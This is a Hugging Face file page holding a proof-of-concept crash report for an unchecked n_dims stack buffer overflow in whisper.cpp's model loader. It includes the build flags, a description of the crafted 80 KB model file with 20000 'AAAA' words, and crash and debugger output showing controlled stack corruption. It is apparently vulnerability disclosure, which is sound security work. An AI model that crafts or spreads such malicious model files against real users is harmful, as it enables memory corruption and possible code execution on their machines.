|
Download CRASH_PROVEN.md from ybgwon96/whispercpp-ndims-stack-overflow-poc: direct link, hf CLI and curl.
- Browser
- Download file 2.52 kB
-
https://huggingface.co/ybgwon96/whispercpp-ndims-stack-overflow-poc/resolve/main/CRASH_PROVEN.md
- Command line
-
hf download hf://ybgwon96/whispercpp-ndims-stack-overflow-poc/CRASH_PROVEN.md
-
curl -L -o CRASH_PROVEN.md https://huggingface.co/ybgwon96/whispercpp-ndims-stack-overflow-poc/resolve/main/CRASH_PROVEN.md
2.52 kB
| # Dynamic crash proof — whisper.cpp unchecked `n_dims` stack buffer overflow | |
| Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64). | |
| ## Target | |
| - repo: `ggml-org/whisper.cpp` @ `6fc7c33` | |
| - Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop — `int32_t ne[4]` written with an | |
| unbounded, attacker-controlled `n_dims` count. | |
| ## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer) | |
| ``` | |
| cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \ | |
| -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \ | |
| -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all" | |
| cmake --build build-rel --target whisper-cli | |
| ``` | |
| ## Malicious input — `poc_whisper_ndims.bin` (80 KB) | |
| Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop), | |
| then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA"). | |
| ## Run + crash | |
| ``` | |
| whisper_model_load: type = 1 (tiny) | |
| whisper_model_load: adding 51865 extra tokens | |
| whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop | |
| <SIGSEGV> | |
| exit=139 (128 + SIGSEGV(11)) | |
| ``` | |
| ## lldb stop frame — attacker bytes in the fault address | |
| ``` | |
| * thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149) | |
| frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36 | |
| -> str xzr, [x0, #0x8] ; x0 = 0x141414149 | |
| ``` | |
| The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded | |
| `for (i=0;i<n_dims;++i) read_safe(loader, ne[i])` loop wrote our chosen 4-byte words far past the | |
| 4-element stack array `ne[4]`, overwriting adjacent stack state (including the `std::istream` object | |
| pointer used by the very next `read_safe`), which is then dereferenced → crash. This demonstrates | |
| **attacker-controlled stack memory corruption** (CWE-787), not a benign parser error. | |
| ## What this proves | |
| 1. `n_dims` from the model file is used as an unchecked loop bound over a fixed `int32_t ne[4]`. | |
| 2. The loop writes attacker-chosen 4-byte values sequentially past the array — the classic | |
| controlled-length/controlled-content stack smash. | |
| 3. Reached via the standard `whisper_init_from_file` → `whisper_model_load` path that EVERY | |
| whisper.cpp application uses to load a model. (The sibling site `whisper_vad_init_with_params` | |
| has the identical bug on the VAD-model path.) | |
| ``` | |